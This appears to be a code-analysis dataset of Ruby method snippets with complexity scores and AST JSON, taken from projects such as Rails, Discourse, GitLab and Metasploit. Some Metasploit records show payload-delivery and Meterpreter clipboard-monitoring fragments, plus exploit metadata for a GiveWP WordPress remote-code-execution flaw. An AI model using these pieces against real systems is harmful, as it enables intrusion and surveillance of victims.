{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/lib/rex/post/meterpreter/extensions/extapi/clipboard/clipboard.rb","start_line":54,"raw_source":"def monitor_start(opts)\n    request = Packet.create_request(COMMAND_ID_EXTAPI_CLIPBOARD_MONITOR_START)\n    request.add_tlv(TLV_TYPE_EXT_CLIPBOARD_MON_WIN_CLASS, opts[:wincls])\n    request.add_tlv(TLV_TYPE_EXT_CLIPBOARD_MON_CAP_IMG_DATA, opts[:cap_img])\n    return client.send_request(request)\n  end","complexity_score":8.6,"ast_json":"{\"type\":\"def\",\"children\":[\"monitor_start\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"opts\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"request\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Packet\"]},\"create_request\",{\"type\":\"const\",\"children\":[null,\"COMMAND_ID_EXTAPI_CLIPBOARD_MONITOR_START\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"request\"]},\"add_tlv\",{\"type\":\"const\",\"children\":[null,\"TLV_TYPE_EXT_CLIPBOARD_MON_WIN_CLASS\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"opts\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"wincls\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"request\"]},\"add_tlv\",{\"type\":\"const\",\"children\":[null,\"TLV_TYPE_EXT_CLIPBOARD_MON_CAP_IMG_DATA\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"opts\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"cap_img\"]}]}]},{\"type\":\"return\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"client\"]},\"send_request\",{\"type\":\"lvar\",\"children\":[\"request\"]}]}]}]}]}","id":"eb093986-5d8a-441d-8373-295d819c6bd9"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/exploits/windows/smb/group_policy_startup.rb","start_line":74,"raw_source":"def on_client_connect(client)\n    super(client)\n\n    unless @custom_payloads[:client]\n      p = regenerate_payload(client)\n      exe = p.encoded_exe\n      @custom_payloads[client] = Msf::Util::EXE.to_exe_vbs(exe)\n    end\n  end","complexity_score":10.2,"ast_json":"{\"type\":\"def\",\"children\":[\"on_client_connect\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"client\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"super\",\"children\":[{\"type\":\"lvar\",\"children\":[\"client\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@custom_payloads\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"client\"]}]},null,{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"p\",{\"type\":\"send\",\"children\":[null,\"regenerate_payload\",{\"type\":\"lvar\",\"children\":[\"client\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"exe\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"p\"]},\"encoded_exe\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@custom_payloads\"]},\"[]=\",{\"type\":\"lvar\",\"children\":[\"client\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Msf\"]},\"Util\"]},\"EXE\"]},\"to_exe_vbs\",{\"type\":\"lvar\",\"children\":[\"exe\"]}]}]}]}]}]}]}","id":"6711c58b-9503-480c-baad-a344544353df"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/exploits/multi/http/wp_givewp_rce.rb","start_line":13,"raw_source":"def initialize(info = {})\n    super(\n      update_info(\n        info,\n        'Name' => 'GiveWP Unauthenticated Donation Process Exploit',\n        'Description' => %q{\n          The GiveWP Donation Plugin and Fundraising Platform for WordPress, in all versions up to and including 3.16.1,\n          is vulnerable to a PHP Object Injection (POI) attack that allows unauthenticated arbitrary code execution.\n          Although a patch was introduced in version 3.14.2, it was incorrect and can be bypassed.\n          This means the vulnerability remains exploitable in subsequent versions due to the ineffective patch.\n        },\n\n        'License' => MSF_LICENSE,\n        'Author' => [\n          'Villu Orav',         # Initial Discovery\n          'EQSTLab',            # Proof of Concept\n          'cuokon',             # Bypass (CVE-2024-8353)\n          'Julien Ahrens',      # Vulnerability Analysis\n          'Valentin Lobstein'   # Metasploit Module\n        ],\n        'References' => [\n          ['CVE', '2024-5932'],\n          ['URL', 'https://github.com/EQSTLab/CVE-2024-5932'],\n          ['URL', 'https://www.rcesecurity.com/2024/08/wordpress-givewp-pop-to-rce-cve-2024-5932'],\n          ['URL', 'https://www.wordfence.com/blog/2024/08/4998-bounty-awarded-and-100000-wordpress-sites-protected-against-unauthenticated-remote-code-execution-vulnerability-patched-in-givewp-wordpress-plugin'],\n\n          ['CVE', '2024-8353'],\n          ['URL', 'https://github.com/EQSTLab/CVE-2024-8353'],\n          ['URL', 'https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-plugins/give/givewp-donation-plugin-and-fundraising-platform-3161-unauthenticated-php-object-injection']\n        ],\n        'DisclosureDate' => '2024-08-25',\n        'Platform' => %w[unix linux win],\n        'Arch' => [ARCH_CMD],\n        'Privileged' => false,\n        'Targets' => [\n          [\n            'Unix/Linux Command Shell',\n            {\n              'Platform' => %w[unix linux],\n              'Arch' => ARCH_CMD\n              # tested with cmd/linux/http/x64/meterpreter/reverse_tcp\n            }\n          ],\n          [\n            'Windows Command Shell',\n            {\n              'Platform' => 'win',\n              'Arch' => ARCH_CMD\n              # tested with cmd/windows/http/x64/meterpreter/reverse_tcp\n            }\n          ]\n        ],\n        'DefaultTarget' => 0,\n        'Notes' => {\n          'Stability' => [CRASH_SAFE],\n          'Reliability' => [REPEATABLE_SESSION],\n          'SideEffects' => [IOC_IN_LOGS, ARTIFACTS_ON_DISK]\n        }\n      )\n      )\n  end","complexity_score":3.0,"ast_json":"{\"type\":\"def\",\"children\":[\"initialize\",{\"type\":\"args\",\"children\":[{\"type\":\"optarg\",\"children\":[\"info\",{\"type\":\"hash\",\"children\":[]}]}]},{\"type\":\"super\",\"children\":[{\"type\":\"send\",\"children\":[null,\"update_info\",{\"type\":\"lvar\",\"children\":[\"info\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Name\"]},{\"type\":\"str\",\"children\":[\"GiveWP Unauthenticated Donation Process Exploit\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Description\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\"          The GiveWP Donation Plugin and Fundraising Platform for WordPress, in all versions up to and including 3.16.1,\\n\"]},{\"type\":\"str\",\"children\":[\"          is vulnerable to a PHP Object Injection (POI) attack that allows unauthenticated arbitrary code execution.\\n\"]},{\"type\":\"str\",\"children\":[\"          Although a patch was introduced in version 3.14.2, it was incorrect and can be bypassed.\\n\"]},{\"type\":\"str\",\"children\":[\"          This means the vulnerability remains exploitable in subsequent versions due to the ineffective patch.\\n\"]},{\"type\":\"str\",\"children\":[\"        \"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"License\"]},{\"type\":\"const\",\"children\":[null,\"MSF_LICENSE\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Author\"]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"Villu Orav\"]},{\"type\":\"str\",\"children\":[\"EQSTLab\"]},{\"type\":\"str\",\"children\":[\"cuokon\"]},{\"type\":\"str\",\"children\":[\"Julien Ahrens\"]},{\"type\":\"str\",\"children\":[\"Valentin Lobstein\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"References\"]},{\"type\":\"array\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"CVE\"]},{\"type\":\"str\",\"children\":[\"2024-5932\"]}]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"URL\"]},{\"type\":\"str\",\"children\":[\"https://github.com/EQSTLab/CVE-2024-5932\"]}]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"URL\"]},{\"type\":\"str\",\"children\":[\"https://www.rcesecurity.com/2024/08/wordpress-givewp-pop-to-rce-cve-2024-5932\"]}]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"URL\"]},{\"type\":\"str\",\"children\":[\"https://www.wordfence.com/blog/2024/08/4998-bounty-awarded-and-100000-wordpress-sites-protected-against-unauthenticated-remote-code-execution-vulnerability-patched-in-givewp-wordpress-plugin\"]}]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"CVE\"]},{\"type\":\"str\",\"children\":[\"2024-8353\"]}]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"URL\"]},{\"type\":\"str\",\"children\":[\"https://github.com/EQSTLab/CVE-2024-8353\"]}]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"URL\"]},{\"type\":\"str\",\"children\":[\"https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-plugins/give/givewp-donation-plugin-and-fundraising-platform-3161-unauthenticated-php-object-injection\"]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"DisclosureDate\"]},{\"type\":\"str\",\"children\":[\"2024-08-25\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Platform\"]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"unix\"]},{\"type\":\"str\",\"children\":[\"linux\"]},{\"type\":\"str\",\"children\":[\"win\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Arch\"]},{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ARCH_CMD\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Privileged\"]},{\"type\":\"false\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Targets\"]},{\"type\":\"array\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"Unix/Linux Command Shell\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Platform\"]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"unix\"]},{\"type\":\"str\",\"children\":[\"linux\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Arch\"]},{\"type\":\"const\",\"children\":[null,\"ARCH_CMD\"]}]}]}]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"Windows Command Shell\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Platform\"]},{\"type\":\"str\",\"children\":[\"win\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Arch\"]},{\"type\":\"const\",\"children\":[null,\"ARCH_CMD\"]}]}]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"DefaultTarget\"]},{\"type\":\"int\",\"children\":[0]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Notes\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Stability\"]},{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[null,\"CRASH_SAFE\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Reliability\"]},{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[null,\"REPEATABLE_SESSION\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"SideEffects\"]},{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[null,\"IOC_IN_LOGS\"]},{\"type\":\"const\",\"children\":[null,\"ARTIFACTS_ON_DISK\"]}]}]}]}]}]}]}]}]}","id":"f6e14fd9-f494-4436-8de7-b78a7d882d09"}
{"repo_name":"rails","file_path":"./repos/rails/activesupport/test/time_zone_test.rb","start_line":880,"raw_source":"def test_abbr\n    zone = ActiveSupport::TimeZone[\"America/Toronto\"]\n    assert_equal \"EST\", zone.abbr(Time.utc(2000, 4, 2, 6))\n    assert_equal \"EDT\", zone.abbr(Time.utc(2000, 4, 2, 7))\n    assert_equal \"EDT\", zone.abbr(Time.utc(2000, 4, 2, 8))\n    assert_equal \"EDT\", zone.abbr(Time.utc(2000, 10, 29, 5))\n    assert_equal \"EST\", zone.abbr(Time.utc(2000, 10, 29, 6))\n    assert_equal \"EST\", zone.abbr(Time.utc(2000, 10, 29, 7))\n  end","complexity_score":33.2,"ast_json":"{\"type\":\"def\",\"children\":[\"test_abbr\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"zone\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ActiveSupport\"]},\"TimeZone\"]},\"[]\",{\"type\":\"str\",\"children\":[\"America/Toronto\"]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"str\",\"children\":[\"EST\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"zone\"]},\"abbr\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Time\"]},\"utc\",{\"type\":\"int\",\"children\":[2000]},{\"type\":\"int\",\"children\":[4]},{\"type\":\"int\",\"children\":[2]},{\"type\":\"int\",\"children\":[6]}]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"str\",\"children\":[\"EDT\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"zone\"]},\"abbr\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Time\"]},\"utc\",{\"type\":\"int\",\"children\":[2000]},{\"type\":\"int\",\"children\":[4]},{\"type\":\"int\",\"children\":[2]},{\"type\":\"int\",\"children\":[7]}]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"str\",\"children\":[\"EDT\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"zone\"]},\"abbr\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Time\"]},\"utc\",{\"type\":\"int\",\"children\":[2000]},{\"type\":\"int\",\"children\":[4]},{\"type\":\"int\",\"children\":[2]},{\"type\":\"int\",\"children\":[8]}]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"str\",\"children\":[\"EDT\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"zone\"]},\"abbr\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Time\"]},\"utc\",{\"type\":\"int\",\"children\":[2000]},{\"type\":\"int\",\"children\":[10]},{\"type\":\"int\",\"children\":[29]},{\"type\":\"int\",\"children\":[5]}]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"str\",\"children\":[\"EST\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"zone\"]},\"abbr\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Time\"]},\"utc\",{\"type\":\"int\",\"children\":[2000]},{\"type\":\"int\",\"children\":[10]},{\"type\":\"int\",\"children\":[29]},{\"type\":\"int\",\"children\":[6]}]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"str\",\"children\":[\"EST\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"zone\"]},\"abbr\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Time\"]},\"utc\",{\"type\":\"int\",\"children\":[2000]},{\"type\":\"int\",\"children\":[10]},{\"type\":\"int\",\"children\":[29]},{\"type\":\"int\",\"children\":[7]}]}]}]}]}]}","id":"0b81f246-8e2d-4fe1-9940-ed207c8bbb2a"}
{"repo_name":"discourse","file_path":"./repos/discourse/lib/backup_restore/backuper.rb","start_line":382,"raw_source":"def clean_up\n      log \"Cleaning stuff up...\"\n      delete_uploaded_archive\n      remove_tar_leftovers\n      mark_backup_as_not_running\n      refresh_disk_space if success\n    end","complexity_score":7.1,"ast_json":"{\"type\":\"def\",\"children\":[\"clean_up\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"log\",{\"type\":\"str\",\"children\":[\"Cleaning stuff up...\"]}]},{\"type\":\"send\",\"children\":[null,\"delete_uploaded_archive\"]},{\"type\":\"send\",\"children\":[null,\"remove_tar_leftovers\"]},{\"type\":\"send\",\"children\":[null,\"mark_backup_as_not_running\"]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"success\"]},{\"type\":\"send\",\"children\":[null,\"refresh_disk_space\"]},null]}]}]}","id":"1a78b450-cb98-4f17-9c49-2d0dfcc4f96b"}
{"repo_name":"rubocop","file_path":"./repos/rubocop/lib/rubocop/cop/correctors/line_break_corrector.rb","start_line":15,"raw_source":"def correct_trailing_body(configured_width:, corrector:, node:,\n                                  processed_source:)\n          @processed_source = processed_source\n          range = first_part_of(node.to_a.last)\n          eol_comment = processed_source.comment_at_line(node.source_range.line)\n\n          break_line_before(range: range, node: node, corrector: corrector,\n                            configured_width: configured_width)\n          move_comment(eol_comment: eol_comment, node: node, corrector: corrector)\n          remove_semicolon(node, corrector)\n        end","complexity_score":13.2,"ast_json":"{\"type\":\"def\",\"children\":[\"correct_trailing_body\",{\"type\":\"args\",\"children\":[{\"type\":\"kwarg\",\"children\":[\"configured_width\"]},{\"type\":\"kwarg\",\"children\":[\"corrector\"]},{\"type\":\"kwarg\",\"children\":[\"node\"]},{\"type\":\"kwarg\",\"children\":[\"processed_source\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@processed_source\",{\"type\":\"lvar\",\"children\":[\"processed_source\"]}]},{\"type\":\"lvasgn\",\"children\":[\"range\",{\"type\":\"send\",\"children\":[null,\"first_part_of\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"node\"]},\"to_a\"]},\"last\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"eol_comment\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"processed_source\"]},\"comment_at_line\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"node\"]},\"source_range\"]},\"line\"]}]}]},{\"type\":\"send\",\"children\":[null,\"break_line_before\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"range\"]},{\"type\":\"lvar\",\"children\":[\"range\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"node\"]},{\"type\":\"lvar\",\"children\":[\"node\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"corrector\"]},{\"type\":\"lvar\",\"children\":[\"corrector\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"configured_width\"]},{\"type\":\"lvar\",\"children\":[\"configured_width\"]}]}]}]},{\"type\":\"send\",\"children\":[null,\"move_comment\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"eol_comment\"]},{\"type\":\"lvar\",\"children\":[\"eol_comment\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"node\"]},{\"type\":\"lvar\",\"children\":[\"node\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"corrector\"]},{\"type\":\"lvar\",\"children\":[\"corrector\"]}]}]}]},{\"type\":\"send\",\"children\":[null,\"remove_semicolon\",{\"type\":\"lvar\",\"children\":[\"node\"]},{\"type\":\"lvar\",\"children\":[\"corrector\"]}]}]}]}","id":"ee994b7f-1d24-40c5-87f6-d192692a7414"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/controllers/external_redirect/external_redirect_controller.rb","start_line":41,"raw_source":"def check_url_param\n      render_404 unless should_handle_url?(url_param)\n    end","complexity_score":4.3,"ast_json":"{\"type\":\"def\",\"children\":[\"check_url_param\",{\"type\":\"args\",\"children\":[]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"should_handle_url?\",{\"type\":\"send\",\"children\":[null,\"url_param\"]}]},null,{\"type\":\"send\",\"children\":[null,\"render_404\"]}]}]}","id":"b4bb5697-3bc1-4e26-a754-1f4721f6a61c"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/qa/qa/resource/base.rb","start_line":35,"raw_source":"def fabricate_via_api_unless_fips!\n          if Runtime::Env.personal_access_tokens_disabled?\n            fabricate!\n          else\n            fabricate_via_api!\n          end\n        end","complexity_score":4.2,"ast_json":"{\"type\":\"def\",\"children\":[\"fabricate_via_api_unless_fips!\",{\"type\":\"args\",\"children\":[]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Runtime\"]},\"Env\"]},\"personal_access_tokens_disabled?\"]},{\"type\":\"send\",\"children\":[null,\"fabricate!\"]},{\"type\":\"send\",\"children\":[null,\"fabricate_via_api!\"]}]}]}","id":"169bfcb6-80bb-4c3c-8bed-ccf58729eead"}
{"repo_name":"openproject","file_path":"./repos/openproject/modules/reporting/app/workers/cost_query/pdf/timesheet_generator.rb","start_line":161,"raw_source":"def all_entries\n    @all_entries ||= begin\n      ids = query\n              .each_direct_result\n              .filter { |r| r.fields[\"type\"] == \"TimeEntry\" }\n              .flat_map { |r| r.fields[\"id\"] }\n\n      TimeEntry.where(id: ids).includes(%i[user activity project])\n    end\n  end","complexity_score":19.9,"ast_json":"{\"type\":\"def\",\"children\":[\"all_entries\",{\"type\":\"args\",\"children\":[]},{\"type\":\"or_asgn\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@all_entries\"]},{\"type\":\"kwbegin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"ids\",{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"query\"]},\"each_direct_result\"]},\"filter\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"r\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"r\"]},\"fields\"]},\"[]\",{\"type\":\"str\",\"children\":[\"type\"]}]},\"==\",{\"type\":\"str\",\"children\":[\"TimeEntry\"]}]}]},\"flat_map\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"r\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"r\"]},\"fields\"]},\"[]\",{\"type\":\"str\",\"children\":[\"id\"]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"TimeEntry\"]},\"where\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"id\"]},{\"type\":\"lvar\",\"children\":[\"ids\"]}]}]}]},\"includes\",{\"type\":\"array\",\"children\":[{\"type\":\"sym\",\"children\":[\"user\"]},{\"type\":\"sym\",\"children\":[\"activity\"]},{\"type\":\"sym\",\"children\":[\"project\"]}]}]}]}]}]}","id":"d84ec64f-c9c4-4aaa-bb56-9e4c0d94c433"}
{"repo_name":"discourse","file_path":"./repos/discourse/lib/search.rb","start_line":1121,"raw_source":"def groups_search\n    group_query =\n      Group.visible_groups(@guardian.user, \"groups.name ASC\", include_everyone: false).where(\n        \"groups.name ILIKE :term OR groups.full_name ILIKE :term\",\n        term: \"%#{@term}%\",\n      )\n\n    DiscoursePluginRegistry.search_groups_set_query_callbacks.each do |cb|\n      group_query = cb.call(group_query, @term, @guardian)\n    end\n\n    groups = group_query.limit(limit)\n\n    groups.each { |group| @results.add(group) }\n  end","complexity_score":16.3,"ast_json":"{\"type\":\"def\",\"children\":[\"groups_search\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"group_query\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Group\"]},\"visible_groups\",{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@guardian\"]},\"user\"]},{\"type\":\"str\",\"children\":[\"groups.name ASC\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"include_everyone\"]},{\"type\":\"false\",\"children\":[]}]}]}]},\"where\",{\"type\":\"str\",\"children\":[\"groups.name ILIKE :term OR groups.full_name ILIKE :term\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"term\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"%\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@term\"]}]},{\"type\":\"str\",\"children\":[\"%\"]}]}]}]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"DiscoursePluginRegistry\"]},\"search_groups_set_query_callbacks\"]},\"each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"cb\"]}]},{\"type\":\"lvasgn\",\"children\":[\"group_query\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"cb\"]},\"call\",{\"type\":\"lvar\",\"children\":[\"group_query\"]},{\"type\":\"ivar\",\"children\":[\"@term\"]},{\"type\":\"ivar\",\"children\":[\"@guardian\"]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"groups\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"group_query\"]},\"limit\",{\"type\":\"send\",\"children\":[null,\"limit\"]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"groups\"]},\"each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"group\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@results\"]},\"add\",{\"type\":\"lvar\",\"children\":[\"group\"]}]}]}]}]}","id":"a718382f-6735-40c5-acb7-1b2a761b7816"}
{"repo_name":"mastodon","file_path":"./repos/mastodon/app/serializers/rest/admin/account_serializer.rb","start_line":80,"raw_source":"def ips\n    object.user&.ips\n  end","complexity_score":3.8,"ast_json":"{\"type\":\"def\",\"children\":[\"ips\",{\"type\":\"args\",\"children\":[]},{\"type\":\"csend\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"object\"]},\"user\"]},\"ips\"]}]}","id":"98bc30a0-d847-443c-966c-6184892f950a"}
{"repo_name":"openproject","file_path":"./repos/openproject/modules/storages/app/common/storages/adapters/providers/nextcloud/queries/files_query.rb","start_line":176,"raw_source":"def last_modified_at(element)\n              element\n                .xpath(\".//d:getlastmodified\")\n                .map { |e| DateTime.parse(e) }\n                .first\n            end","complexity_score":6.1,"ast_json":"{\"type\":\"def\",\"children\":[\"last_modified_at\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"element\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"element\"]},\"xpath\",{\"type\":\"str\",\"children\":[\".//d:getlastmodified\"]}]},\"map\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"e\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"DateTime\"]},\"parse\",{\"type\":\"lvar\",\"children\":[\"e\"]}]}]},\"first\"]}]}","id":"166c2feb-5fd0-4cf9-9181-9aa08432321e"}
